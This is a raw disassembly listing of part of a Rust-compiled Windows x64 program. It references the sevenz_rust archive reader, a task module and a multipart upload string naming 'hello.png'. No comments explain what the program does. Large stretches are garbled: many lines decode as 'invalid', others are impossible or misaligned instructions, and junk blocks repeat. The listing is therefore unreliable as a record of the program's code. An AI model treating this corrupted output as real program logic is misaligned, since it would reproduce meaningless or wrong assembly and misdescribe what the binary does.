mov r8, rdi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140014628
mov rbx, rax
inc rdi
cmp byte [rax + 0x5c], 0
je 0x14015f83e
mov rsi, qword [rbx + 0x48]
test rsi, rsi
jne 0x14015f8a0
mov qword [rbp + 0x25d0], 1
and qword [rbp + 0x25d8], 0
lea rax, case.0x1400089d2.1093
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x340]
add byte [rax - 0x73], cl
xchg ebp, eax
cmp byte [rcx], 0
add byte [rcx - 0x77], cl
fmul dword [rbp + rcx*4 - 0x73]
shl byte [0x113fdf877], 1
nop
std
inc dword [rdx + rcx*4 - 0x5b]
add eax, dword [rax]
add byte [rdx + rcx*4 - 0x53], al
add eax, dword [r8]
add byte [rcx - 0x80], al
cld
adc cl, byte [rdi]
test dword [rbx], esi
add dword [rax], eax
invalid
add byte [rax - 0x73], cl
xchg ebp, eax
cmp byte [rcx], 0
add byte [rcx - 0x77], cl
fmul dword [rbp + rcx*4 - 0x73]
shl byte [0x113fdf877], 1
nop
std
inc dword [rdx + rcx*4 - 0x5b]
add eax, dword [rax]
add byte [rdx + rcx*4 - 0x53], al
add eax, dword [r8]
add byte [rcx - 0x80], al
cld
adc cl, byte [rdi]
test dword [rbx], esi
add dword [rax], eax
add byte [rbp - 0x7c], al
in eax, dx
test r13b, r13b
jne 0x14015f803
jmp 0x14015fa1a
push 0x10
pop rcx
push 8
pop rdx
call fcn.14013265f
lea rcx, [rbp + 0x46d0]
mov qword [rax], rcx
mov qword [rax + 8], rsi
mov qword [rbp + 0x25d0], rax
lea rcx, fcn.140009390
mov qword [rbp + 0x25d8], rcx
cmp byte [rbx + 0x63], 0
je 0x14015f950
mov rcx, qword [rbx + 0x38]
mov qword [rbp + 0x340], rax
lea rax, fcn.140009390
mov qword [rbp + 0x348], rax
lea rax, [0x14024a998]
mov qword [rbp + 0x350], rax
or dword [rbp + 0x358], 0xffffffff
mov qword [rbp + 0x360], rcx
mov qword [rbp + 0x368], rsi
push 0x30
pop rcx
push 8
pop rdx
call fcn.14013265f
movups xmm0, xmmword [rbp + 0x340]
movups xmm1, xmmword [rbp + 0x350]
movups xmm2, xmmword [rbp + 0x360]
movups xmmword [rax + 0x20], xmm2
and byte [rdi], cl
adc dword [rax + 0x10], ecx
movups xmmword [rax], xmm0
mov qword [rbp + 0x25d0], rax
lea rax, [0x14024ae40]
mov qword [rbp + 0x25d8], rax
test eax, ebx
invalid
add byte [rax], al
mov byte [rbp + 0x4ad8], 1
lea rax, [0x140139b26]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x340]
lea rdx, [rbp + 0x3980]
mov r8, rbx
lea r9, [rbp + 0x25d0]
call fcn.14013894d
inc dword [rdx + rcx*4 - 0x5b]
add eax, dword [rax]
add byte [rdx + 0x34185], cl
add byte [rcx - 0x80], al
cld
adc cl, byte [rdi]
invalid
mov ch, 0
add byte [rax], al
test al, al
je 0x14015fb06
lea rcx, [rbp + 0x25d0]
call fcn.14013809d
jmp 0x14015f803
lea rcx, [rbp + 0x46d0]
call fcn.14013809d
lea rsi, [rbp + 0x3f70]
jo 0x14015fa00
add byte [rax], al
jmp 0x14015fa3d
mov eax, dword [rbp + 0x342]
movzx ecx, word [rbp + 0x346]
shl rcx, 0x20
or rcx, rax
mov qword [rbp + 0x49c8], rcx
mov rax, qword [rbp + 0x348]
mov qword [rbp + 0x49c0], rax
mov rax, qword [rbp + 0x350]
mov qword [rbp + 0x49d0], rax
mov rax, qword [rbp + 0x358]
mov qword [rbp + 0x49d8], rax
mov rax, qword [rbp + 0x360]
mov eax, dword [rbp + 0x360]
mov qword [rbp + 0x49e0], rax
jmp 0x14015fa20
mov r12b, 0x12
xor r13d, r13d
lea rsi, [rbp + 0x3f70]
lea rcx, [rbp + 0x46d0]
call fcn.14013809d
cmp r12b, 0x12
jne 0x14015fc4b
mov r8, qword [rbp + 0x4aa0]
inc r8
jmp 0x14015ec00
mov ecx, dword [rbp + 0x342]
movzx r8d, word [rbp + 0x346]
shl r8, 0x20
or r8, rcx
mov rcx, qword [rbp + 0x348]
mov qword [rbp + 0x49c0], rcx
mov rcx, qword [rbp + 0x350]
mov rdx, qword [rbp + 0x358]
mov r9, qword [rbp + 0x360]
cmp qword [rbp + 0x4aa8], 0
je 0x14015fac3
cmp r12b, 4
jne 0x14015fac3
test r9, r9
jne 0x14015fac3
call fcn.14005fb5b
mov r12b, 0x11
mov al, byte [rbp + 0x4a9f]
mov r8, qword [rbp + 0x4250]
mov rcx, qword [rbp + 0x4258]
mov rdx, qword [rbp + 0x4260]
mov r9, qword [rbp + 0x4268]
mov byte [rbp + 0x4a9f], al
mov r13d, eax
mov qword [rbp + 0x4250], r8
mov qword [rbp + 0x49c8], r8
mov qword [rbp + 0x4258], rcx
mov qword [rbp + 0x49d0], rcx
mov qword [rbp + 0x4260], rdx
mov qword [rbp + 0x49d8], rdx
mov qword [rbp + 0x4268], r9
mov qword [rbp + 0x49e0], r9
jmp 0x14015fb0c
mov r12b, 0x12
xor r13d, r13d
lea rcx, [rbp + 0x25d0]
call fcn.14013809d
jmp 0x14015fa20
mov rsi, qword [rbp + 0x4418]
xor edi, edi
cmp rdi, rsi
je 0x14015fbd2
mov r8, rdi
mov rdx, qword [rbp + 0x4478]
cmp rdx, rdi
jbe 0x140164231
lea rdi, [r8 + 1]
mov rax, qword [rbp + 0x4470]
mov rcx, r8
shl rcx, 4
cmp qword [rax + rcx], 0
jne 0x14015fb26
mov rcx, qword [rbp + 0x4410]
mov rdx, qword [rbp + 0x4418]
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_sevenz_rust_0.6.0_src_reader.rs
call fcn.140014628
mov qword [rbp + 0x25d0], 1
and qword [rbp + 0x25d8], 0
lea rcx, case.0x1400089d2.1093
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x340]
lea rdx, [rbp + 0x3980]
mov r8, rax
lea r9, [rbp + 0x25d0]
call fcn.14013894d
mov r12b, byte [rbp + 0x340]
mov r13b, byte [rbp + 0x341]
cmp r12b, 0x12
jne 0x14015fc70
test r13b, r13b
jne 0x14015fb26
mov rcx, qword [rbp + 0x3980]
mov rdx, qword [rbp + 0x3988]
call fcn.14006095a
lea rcx, [rbp + 0x4380]
call fcn.140148158
mov rcx, qword [rbp + 0x4a60]
mov rdx, qword [rbp + 0x4ab0]
call fcn.14006095a
jmp 0x14015e516
mov rcx, qword [rbp + 0x4658]
mov rbx, rcx
mov al, byte [rbp + 0x4ac7]
mov r13d, eax
mov rdx, qword [rbp + 0x4660]
mov rax, rdx
mov qword [rbp + 0x49c8], rdx
mov qword [rbp + 0x49c0], rdi
mov qword [rbp + 0x49d0], rsi
mov qword [rbp + 0x49d8], r14
mov qword [rbp + 0x49e0], rcx
jmp 0x14015fca0
mov rdi, qword [rbp + 0x49c0]
mov rsi, qword [rbp + 0x49d0]
mov r14, qword [rbp + 0x49d8]
mov rbx, qword [rbp + 0x49e0]
mov rax, qword [rbp + 0x49c8]
jmp 0x14015fca0
mov ecx, dword [rbp + 0x342]
movzx eax, word [rbp + 0x346]
shl rax, 0x20
or rax, rcx
mov rdi, qword [rbp + 0x348]
mov rsi, qword [rbp + 0x350]
mov r14, qword [rbp + 0x358]
mov rbx, qword [rbp + 0x360]
shl rax, 8
movzx ecx, r13b
or rcx, rax
mov qword [rbp + 0x4648], rcx
mov rcx, qword [rbp + 0x3980]
mov rdx, qword [rbp + 0x3988]
call fcn.14006095a
lea rcx, [rbp + 0x4380]
call fcn.140148158
jmp 0x14015e4f9
lea rcx, [rbp + 0x358]
movups xmm0, xmmword [rcx - 0x17]
movups xmm1, xmmword [rcx - 8]
movups xmmword [rbp + 0x25df], xmm1
movaps xmmword [rbp + 0x25d0], xmm0
mov rcx, qword [rbp + 0x360]
movups xmm0, xmmword [rbp + 0x25df]
lea rdx, [rbp + 0x46e7]
movups xmmword [rdx + 1], xmm0
movaps xmm0, xmmword [rbp + 0x25d0]
shl byte [0x15124fd15], 1
mov byte [rbp + 0x46d8], al
shl byte [0x15124fd15], 1
mov byte [rbp + 0x46d8], al
mov qword [rbp + 0x46f8], rcx
jmp 0x14015b9a9
invalid
invalid
invalid
mov rax, qword [rbp + 0x25d0]
mov rdi, qword [rbp + 0x25d8]
movabs rcx, 0x8000000000000001
cmp rax, rcx
enter 0xffffffffffff8e0f, 0xffffffffffffffe1
invalid
invalid
invalid
mov rcx, qword [rbp + 0x25e0]
mov qword [rbp + 0x41e8], rcx
mov qword [rbp + 0x41e0], rsi
mov qword [rbp + 0x41f0], rax
mov qword [rbp + 0x41f8], rdi
mov eax, ebx
mov byte [rbp + 0x4a9d], bl
mov rdi, qword [rbp + 0x4b18]
add byte [rax - 0x75], cl
popfq
loopne 0x14015fdcb
add byte [rax], al
add byte [rax - 0x75], cl
popfq
loopne 0x14015fdcb
add byte [rax], al
movabs rax, 0x8000000000000000
jmp 0x14015b476
call fcn.14001f485
mov rdi, rax
mov rcx, qword [rbp + 0x25d0]
mov ecx, dword [rbp + 0x25d0]
out dx, al
imul bl
dec dword [rax - 0x77]
invalid
mov ecx, dword [rbp + 0x25d0]
mov rdx, qword [rbp + 0x25d8]
call fcn.14006095a
jmp 0x14015b82b
lea rdi, [r9 - 0x100000]
cmp r9, 0x10000c
add byte [rax], al
lock dec dword [rcx - 0x7f]
stc
or al, 0
adc byte [rax], al
push 0xc
pop rax
cmovb rdi, rax
lea rbx, [r9 - 1]
cmp rbx, rdi
jbe 0x14015fef4
add dword [rax], eax
invalid
mov rax, rbx
dec rbx
mov qword [rbp + 0x3d58], rbx
cmp qword [rbp + 0x3d50], rbx
jbe 0x14015ff27
mov rcx, qword [rbp + 0x3d48]
movzx ecx, byte [rcx + rax - 1]
mov qword [rbp + 0x3d58], rax
mov dword [rbp + 0x3d58], eax
mov dword [rbp + 0x3d58], eax
cmp ecx, 1
je case.0x1401512b4.149
cmp ecx, 0x17
jne 0x14015fdcb
stc
invalid
add rax, 0xffffffffffffffdf
mov rcx, qword [rbp + 0x4a50]
add byte [rax], al
add byte [rax], al
sub rcx, rbx
mov qword [rbp + 0x3780], rax
test dword [rax + 0x48000037], eax
mov dword [rbp + 0x3788], ecx
mov dword [rbp + 0x3788], ecx
mov byte [rdi], dh
add byte [rax], al
and qword [rbp + 0x3790], 0
mov byte [rsp + 0x20], 0
add byte [rax - 0x73], cl
lea eax, [rax + 3]
add byte [rax], al
mov rdx, r14
lea r8, [rbp + 0x3780]
xor r9d, r9d
leave
call fcn.140144cc1
mov rsi, qword [rbp + 0x340]
lea rax, [rbp + 0x348]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
adc byte [rax + 0x10], cl
movaps xmmword [rbp + 0x3980], xmm0
movaps xmmword [rbp + 0x3990], xmm1
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x39a0], rax
movabs rax, 0x8000000000000000
cmp rsi, rax
invalid
je 0x14015ff62
invalid
mov r8d, 0x108
lea rcx, [rbp + 0x2600]
add byte [rsi], ah
add byte [rax], al
add byte [rsi], ah
add byte [rax], al
lea rdx, [rbp + 0x370]
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x39a0]
lea rcx, [rbp + 0x25d8]
fsub dword [0xc95dfeb7]
and byte [r15], cl
sub byte [rbp + 0x3980], al
add al, ch
cli
invalid
fsub dword [0xc95dfeb7]
and byte [r15], cl
sub byte [rbp + 0x3980], al
movaps xmm1, xmmword [rbp + 0x3990]
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
mov qword [rbp + 0x25d0], rsi
add byte [rax], al
cmp qword [rbp + 0x2648], 0
jne 0x14015ff9f
lea rcx, [rbp + 0x25d0]
call fcn.1401477bc
jmp 0x14015fdcb
invalid
mov byte [rbp + 0x46d8], 6
movabs rax, 0x8000000000000000
mov qword [rbp + 0x46e0], rax
lea rcx, str.Start_header_corrupt_and_unable_to_guess_end_headerCOPY
mov qword [rbp + 0x46e8], rcx
mov qword [rbp + 0x46f0], 0x33
jmp 0x14015ff93
mov byte [rbp + 0x46d8], 4
lea rax, [0x140264930]
mov qword [rbp + 0x46e0], rax
movabs rax, 0x8000000000000000
mov qword [rbp + 0x46e8], rax
mov qword [rbp + 0x46f0], 1
and qword [rbp + 0x46f8], 0
jmp 0x14015ff93
mov rax, qword [rbp + 0x39a0]
lea rcx, [rbp + 0x46d8]
mov qword [rcx + 0x20], rax
movaps xmm0, xmmword [rbp + 0x3980]
movaps xmm1, xmmword [rbp + 0x3990]
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
movabs rax, 0x8000000000000000
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x2f7a76b8], al
add byte [rax], r8b
mov qword [rbp + 0x46d0], rax
jmp 0x14015df31
mov r8d, 0x138
add byte [rax], al
lea rcx, [rbp + 0x46d0]
lea rdx, [rbp + 0x25d0]
call sub.VCRUNTIME140.dll_memcpy
jmp 0x14015df31
mov rcx, qword [rbp + 0x4aa0]
mov rdx, r15
call fcn.14006095a
lea r15, [rbp + 0x4380]
movabs r13, 0x2600000003
mov byte [rbp + 0x4b37], 1
mov rcx, r15
mov rdx, r14
mov r8, rsi
call fcn.1401ab3a0
mov rax, qword [rbp + 0x4380]
lea rcx, [rbp + 0x4508]
lea ecx, [rax]
add byte [r8], r8b
movups xmm0, xmmword [rcx - 0x180]
movaps xmmword [rbp + 0x3780], xmm0
mov rcx, qword [rcx - 0x170]
mov qword [rbp + 0x3790], rcx
lea edx, [rax + 0x48000037]
mov dword [rbp + 0x3f70], eax
lea edx, [rax + 0x48000037]
mov dword [rbp + 0x3f70], eax
mov rcx, qword [rbp + 0x3790]
lea rdx, [rbp + 0x3f78]
lea edx, [rbp + 0x3f78]
lea edx, [rbp + 0x3f78]
mov qword [rdx + 0x10], rcx
movaps xmm0, xmmword [rbp + 0x3780]
add byte [rdi], cl
adc dword [rdx], eax
add byte [rdi], cl
adc dword [rdx], eax
btc rax, 0x3f
cmp rax, 4
push 2
pop rcx
cmovae rax, rcx
lea rcx, [0x14028c964]
leave
adc al, byte [rax]
invalid
leave
adc al, byte [rax]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov al, byte [rbp + 0x3f78]
mov byte [rbp + 0x4388], al
movabs rsi, 0x8000000000000000
add byte [rax], al
add byte [rax], al
invalid
sub bl, 0x7e
mov rbx, qword [rbp + 0x3f78]
mov rdi, qword [rbp + 0x3f80]
lea rcx, [rbp + 0x3d40]
cmp eax, 0x89480000
cli
xor r8d, r8d
call fcn.1401c24b1
cmp qword [rbp + 0x3d40], 0
mov rsi, qword [rbp + 0x3d48]
lea r12, [rbp + 0x2370]
jne 0x14016458a
mov r14, qword [rbp + 0x3d50]
mov rcx, r14
cmp eax, 0x894c0000
int1
mov rdx, rbx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add byte [rdx + 0x3f8885], cl
add byte [rax - 0x77], cl
mov ch, 0x80
add byte [rbx], 0
add byte [rdx + 0x3f8885], cl
add byte [rax - 0x77], cl
mov ch, 0x80
add byte [rbx], 0
add byte [rbx], 0
mov qword [rbp + 0x4388], r14
mov qword [rbp + 0x4390], rdi
add byte [rax], al
add byte [rax], al
mov byte [rbp + 0x4398], al
jmp 0x140160137
movabs rsi, 0x8000000000000003
mov qword [rbp + 0x4380], rsi
lea r12, [rbp + 0x2370]
jmp 0x140160137
mov rdx, qword [rbp + 0x3f80]
mov r8, qword [rbp + 0x3f88]
lea rcx, [rbp + 0x4388]
call fcn.140004a30
lea r12, [rbp + 0x2370]
movabs rsi, 0x8000000000000001
mov qword [rbp + 0x4380], rsi
lea rbx, [rbp + 0x3f70]
movups xmm0, xmmword [rbp + 0x3f70]
movups xmm1, xmmword [rbp + 0x3f80]
lea rax, [rbp + 0x46e7]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov al, byte [rbp + 0x4388]
lea rdx, [rbp + 0x4508]
mov rcx, qword [rdx - 0x170]
mov qword [rbp + 0x46df], rcx
movups xmm0, xmmword [rdx - 0x17f]
movaps xmmword [rbp + 0x46d0], xmm0
mov rcx, qword [rbp + 0x46ff]
lea rdx, [rbp + 0x25e8]
mov qword [rdx + 0x20], rcx
movaps xmm0, xmmword [rbp + 0x46f0]
movups xmmword [rdx + 0x11], xmm0
movaps xmm0, xmmword [rbp + 0x46e0]
movups xmmword [rdx + 1], xmm0
movaps xmm0, xmmword [rbp + 0x46d0]
movups xmmword [rdx - 0xf], xmm0
mov qword [rbp + 0x25d0], rsi
mov byte [rbp + 0x25d8], al
lea rdi, [rbp + 0x25e8]
mov rax, qword [rdi + 0x20]
lea rcx, [rbp + 0x46e7]
mov qword [rcx + 0x21], rax
movups xmm0, xmmword [rdi - 0x10]
movups xmm1, xmmword [rdi]
movups xmm2, xmmword [rdi + 0x10]
movups xmmword [rcx + 0x11], xmm2
movups xmmword [rcx + 1], xmm1
movups xmmword [rcx - 0xf], xmm0
mov qword [rbp + 0x46d0], rsi
mov byte [rbp + 0x4ad5], 1
lea rcx, [rbp + 0x4380]
call fcn.140191bd0
mov rax, qword [rbp + 0x4380]
lea rdx, [rbp + 0x4388]
mov rcx, qword [rdx + 0x20]
mov qword [rdi + 0x18], rcx
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rdi + 8], xmm1
movups xmmword [rdi - 8], xmm0
movups xmm0, xmmword [rbp + 0x46d0]
movups xmm1, xmmword [rbp + 0x46e0]
movups xmm2, xmmword [rbp + 0x46f0]
movups xmm3, xmmword [rbp + 0x4700]
movups xmmword [rdi + 0x50], xmm3
movups xmmword [rdi + 0x40], xmm2
movups xmmword [rdi + 0x30], xmm1
movups xmmword [rdi + 0x20], xmm0
lea rcx, [0x14024e1f0]
mov qword [rbp + 0x25d0], rcx
mov qword [rbp + 0x25d8], rax
push 0x78
pop rcx
push 8
pop rdx
call fcn.14013265f
push 0xf
pop rcx
mov rdi, rax
lea rsi, [rbp + 0x25d0]
rep movsq qword [rdi], qword [rsi]
mov qword [rbp + 0x49f8], rax
movabs rax, 0x8000000000000000
mov qword [rbp + 0x49f0], rax
mov rcx, qword [rbp + 0x2370]
mov rdx, qword [rbp + 0x4b38]
call fcn.14006095a
mov rcx, qword [rbp + 0x4aa8]
mov rdx, qword [rbp + 0x4b28]
call fcn.14006095a
mov rsi, qword [rbp + 0x4240]
mov rdx, qword [rbp + 0x4248]
mov rcx, rsi
call fcn.14006095a
lea rcx, [rbp + 0x3980]
call fcn.14015668d
mov rcx, qword [rbp + 0x49e8]
mov rdx, qword [rbp + 0x4a58]
call fcn.14006095a
lea rcx, [rbp + 0x3b98]
call fcn.14016b777
mov r8, qword [rbp + 0x49f0]
movabs rax, 0x8000000000000000
cmp r8, rax
mov rdx, qword [rbp + 0x4b18]
jne 0x140160581
mov rax, qword [rbp + 0x49f8]
mov qword [rbp + 0x4b38], rax
mov qword [rbp + 0x3980], rax
mov rcx, rbx
mov r8, qword [rbp + 0x4a80]
call fcn.140004a30
lea rsi, [rbp + 0x46d0]
mov rcx, rsi
lea rdx, [rbp + 0x3980]
call fcn.14016b4da
lea rax, [0x14025c268]
mov qword [rbp + 0x25d0], rax
push 1
pop rax
mov qword [rbp + 0x25d8], rax
and qword [rbp + 0x25f0], 0
mov qword [rbp + 0x2370], rsi
lea rcx, [0x1400062be]
mov qword [rbp + 0x2378], rcx
mov qword [rbp + 0x25e0], r12
mov qword [rbp + 0x25e8], rax
lea rcx, [rbp + 0x4380]
lea rsi, [rbp + 0x25d0]
mov rdx, rsi
call fcn.140015f59
mov rcx, qword [rbp + 0x46d0]
mov rdx, qword [rbp + 0x46d8]
call fcn.14006095a
mov rax, qword [rbp + 0x4380]
mov qword [rbp + 0x4b08], rax
mov rdx, qword [rbp + 0x4388]
mov r8, qword [rbp + 0x4390]
mov rcx, rsi
mov qword [rbp + 0x4b28], rdx
call fcn.14003f3ec
mov rax, qword [rbp + 0x3f80]
mov qword [rbp + 0x350], rax
movups xmm0, xmmword [rbp + 0x3f70]
movaps xmmword [rbp + 0x340], xmm0
mov rax, qword [rbp + 0x25e0]
lea rcx, [rbp + 0x358]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x25d0]
movups xmmword [rcx], xmm0
movabs rax, 0x1f400000001
mov qword [rbp + 0x370], rax
mov rcx, qword [rbp + 0x4b08]
mov rdx, qword [rbp + 0x4b28]
call fcn.14006095a
mov rcx, rsi
lea rdx, [rbp + 0x340]
call fcn.140156586
mov rcx, qword [rbp + 0x25d0]
mov r8, qword [rbp + 0x25d8]
movabs rax, 0x8000000000000000
cmp rcx, rax
je 0x140163f2e
mov qword [rbp + 0x4b08], rcx
mov r9, qword [rbp + 0x25e0]
mov rax, qword [rbp + 0x4ab8]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x4ac8]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x25d0]
mov rdx, qword [rbp + 0x4a88]
mov qword [rbp + 0x4b28], r8
call fcn.14018acd5
cmp byte [rbp + 0x25d0], 0
jne 0x140163f66
mov r8, qword [rbp + 0x25d8]
mov rcx, qword [rbp + 0x4ac8]
mov rdx, qword [rbp + 0x4ab8]
lea r9, str.src_task.rs
call fcn.14015af46
mov r8, rdx
mov rcx, qword [rbp + 0x4a78]
mov rdx, rax
call fcn.14015af66
mov r12, rax
test rax, rax
jne 0x140163f7a
mov rcx, qword [rbp + 0x4b08]
mov rdx, qword [rbp + 0x4b28]
call fcn.14006095a
lea rcx, [rbp + 0x340]
call fcn.14003f121
mov rcx, qword [rbp + 0x4b38]
mov rax, qword [rcx]
call qword [rax]
mov r12, qword [rbp + 0x4af8]
mov r13, qword [rbp + 0x4b00]
mov rdi, qword [rbp + 0x4b18]
mov rcx, qword [rbp + 0x46a0]
mov rdx, qword [rbp + 0x46a8]
call fcn.14006095a
mov rcx, qword [rbp + 0x46b8]
mov rdx, qword [rbp + 0x46c0]
call fcn.14014b0fc
xor esi, esi
jmp 0x14015e262
mov rax, qword [rbp + 0x49f8]
mov rcx, qword [rbp + 0x4a00]
and qword [rbp + 0x4688], 0
mov qword [rbp + 0x4690], 8
and qword [rbp + 0x4698], 0
shl rcx, 5
add rcx, rax
mov qword [rbp + 0x42d8], rax
mov qword [rbp + 0x42e0], rax
mov qword [rbp + 0x42e8], r8
mov qword [rbp + 0x42f0], rcx
push 8
pop rbx
xor esi, esi
cmp rax, rcx
je 0x1401635fe
lea rcx, [rax + 0x20]
mov qword [rbp + 0x42e0], rcx
mov rdx, qword [rax]
movabs rcx, 0x8000000000000000
cmp rdx, rcx
je 0x1401635fe
mov qword [rbp + 0x4b38], rdx
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
and qword [rbp + 0x49a8], 0
mov qword [rbp + 0x49b0], 1
and qword [rbp + 0x49b8], 0
and dword [rbp + 0x340], 0
lea rax, [rbp + 0x348]
movups xmmword [rax], xmm6
mov dword [rbp + 0x358], 7
lea rax, [rbp + 0x358]
and word [rax + 0xc], 0
and qword [rax + 4], 0
mov byte [rbp + 0x360], 1
lea rcx, [rbp + 0x340]
mov qword [rbp + 0x4b28], rdx
call fcn.1401958e0
mov rsi, rax
mov rdi, rdx
mov rcx, qword [rbp + 0x4b38]
mov rdx, qword [rbp + 0x4b28]
call fcn.14006095a
test rsi, rsi
jne 0x140163d14
mov edx, 0x2000
lea rcx, [rbp + 0x340]
xor r8d, r8d
call fcn.1401c24b1
cmp qword [rbp + 0x340], 0
jne 0x14016438d
mov rsi, qword [rbp + 0x350]
mov qword [rbp + 0x38f0], rsi
mov qword [rbp + 0x38f8], 0x2000
lea rax, [rbp + 0x3900]
movups xmmword [rax], xmm6
and qword [rax + 0x10], 0
mov qword [rbp + 0x3918], rdi
lea rdi, [rbp + 0x49a8]
mov rcx, rdi
xor edx, edx
xor r8d, r8d
call fcn.1400389c3
movabs rcx, 0x8000000000000001
cmp rax, rcx
jne 0x140163d62
mov rcx, rdi
mov rdx, rsi
mov r8, rsi
call fcn.140004b33
lea rax, [rbp + 0x3900]
movups xmmword [rax], xmm6
lea rcx, [rbp + 0x3918]
mov rdx, rdi
call fcn.1401955c0
test rax, rax
push 9
pop r13
jne 0x140163d5f
mov rbx, qword [rbp + 0x49b0]
mov r14, qword [rbp + 0x49b8]
lea rax, [0x140288ce1]
mov qword [rbp + 0x398], rax
mov qword [rbp + 0x3a0], 4
mov qword [rbp + 0x3a8], rbx
mov qword [rbp + 0x3b0], r14
and qword [rbp + 0x3b8], 0
mov qword [rbp + 0x340], 2
lea rcx, [rbp + 0x25d0]
lea rdx, str.multipart_form_datahello.png_api_client_upload
push 0x13
pop r8
call fcn.14005a2da
mov r15, qword [rbp + 0x25d0]
cmp r15, 2
je 0x140163d6f
mov r12, qword [rbp + 0x25d8]
mov rcx, r13
lea rdi, [rbp + 0x46d0]
lea rsi, [rbp + 0x25e0]
rep movsq qword [rdi], qword [rsi]
mov rsi, r13
lea r13, [rbp + 0x340]
mov rcx, r13
call fcn.1401568a8
mov rcx, rsi
lea rdi, [rbp + 0x350]
lea rsi, [rbp + 0x46d0]
rep movsq qword [rdi], qword [rsi]
and qword [rbp + 0x25d0], 0
push 8
pop rax
mov qword [rbp + 0x25d8], rax
lea rcx, [rbp + 0x25e0]
movups xmmword [rcx], xmm6
mov qword [rbp + 0x25f0], rax
and qword [rbp + 0x25f8], 0
mov qword [rbp + 0x340], r15
mov qword [rbp + 0x348], r12
lea rax, [0x140288ce1]
mov qword [rbp + 0x398], rax
mov qword [rbp + 0x3a0], 4
mov qword [rbp + 0x3a8], rbx
mov qword [rbp + 0x3b0], r14
lea rax, [0x14025c20b]
mov qword [rbp + 0x3b8], rax
mov qword [rbp + 0x3c0], 9
lea rcx, [rbp + 0x25e8]
call fcn.140144b97
mov rcx, qword [rbp + 0x25f0]
mov r8d, 0x88
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x25f8], 1
movups xmm0, xmmword [rbp + 0x25d0]
movups xmm1, xmmword [rbp + 0x25e0]
movaps xmmword [rbp + 0x3990], xmm1
movaps xmmword [rbp + 0x3980], xmm0
mov rax, qword [rbp + 0x25f0]
mov qword [rbp + 0x39a0], rax
mov rax, qword [rbp + 0x25f8]
mov qword [rbp + 0x39a8], rax
and qword [rbp + 0x42f8], 0
mov qword [rbp + 0x4300], 8
and qword [rbp + 0x4308], 0
mov rax, qword [rbp + 0x3980]
mov rdi, qword [rbp + 0x3988]
mov rbx, qword [rbp + 0x3990]
shl rbx, 5
lea rsi, [rdi + rbx]
mov qword [rbp + 0x25d0], rdi
mov qword [rbp + 0x25e0], rax
mov qword [rbp + 0x25e8], rsi
lea rcx, [rdi + 0x20]
mov r12, qword [rbp + 0x4238]
test rbx, rbx
je 0x14016099f
mov rax, qword [rdi]
test rax, rax
je 0x14016099c
mov qword [rbp + 0x4b38], rcx
movups xmm0, xmmword [rdi + 0x10]
mov rcx, qword [rdi + 8]
movabs rdx, 0x8000000000000000
mov qword [rbp + 0x3c0], rdx
mov qword [rbp + 0x3c8], rax
mov qword [rbp + 0x3d0], rcx
mov qword [rbp + 0x340], 2
mov qword [rbp + 0x348], rdx
movups xmmword [rbp + 0x350], xmm0
lea rcx, [rbp + 0x42f8]
lea rdx, [rbp + 0x340]
call fcn.140015c13
add rdi, 0x20
add rbx, 0xffffffffffffffe0
mov rcx, qword [rbp + 0x4b38]
add rcx, 0x20
jmp 0x140160920
mov rsi, rcx
mov qword [rbp + 0x25d8], rsi
lea rcx, [rbp + 0x25d0]
call fcn.1400159f8
mov rcx, qword [rbp + 0x3998]
mov rsi, qword [rbp + 0x39a0]
imul rax, qword [rbp + 0x39a8], 0x88
add rax, rsi
mov qword [rbp + 0x46d0], rsi
mov qword [rbp + 0x46d8], rsi
mov qword [rbp + 0x46e0], rcx
mov qword [rbp + 0x46e8], rax
cmp rsi, rax
je 0x140160b53
lea rax, [rsi + 0x88]
mov qword [rbp + 0x46d8], rax
mov rax, qword [rsi]
cmp rax, 3
je 0x140160b53
mov rbx, qword [rsi + 0x80]
mov r13, qword [rsi + 0x78]
mov rcx, qword [rsi + 0x70]
mov qword [rbp + 0x4b08], rcx
mov r15, qword [rsi + 0x68]
mov rcx, qword [rsi + 0x58]
mov r14, qword [rsi + 0x60]
cmp rax, 2
mov qword [rbp + 0x4b38], rcx
jne 0x140160a53
push 0xb
pop rcx
lea rdi, [rbp + 0x25d0]
lea rsi, [0x1401fee00]
rep movsq qword [rdi], qword [rsi]
jmp 0x140160a77
add rsi, 8
mov qword [rbp + 0x25d0], rax
push 0xa
pop rcx
lea rdi, [rbp + 0x25d8]
rep movsq qword [rdi], qword [rsi]
lea rcx, [0x1401fee00]
call fcn.140015686
mov rax, qword [rbp + 0x4a28]
xor ecx, ecx
test r13, r13
cmovne rax, r13
mov qword [rbp + 0x4a28], rax
sete cl
cmovne r12, rbx
bts rcx, 0x3f
mov qword [rbp + 0x4b28], rcx
push 0x18
pop rcx
push 8
pop rdx
call fcn.140008d89
mov qword [rax], r15
mov rcx, qword [rbp + 0x4b08]
mov qword [rax + 8], rcx
and qword [rax + 0x10], 0
push 0xb
pop rcx
lea rdx, [rbp + 0x340]
mov rdi, rdx
lea rsi, [rbp + 0x25d0]
rep movsq qword [rdi], qword [rsi]
movabs rcx, 0x8000000000000000
mov qword [rbp + 0x3c0], rcx
mov rcx, qword [rbp + 0x4b38]
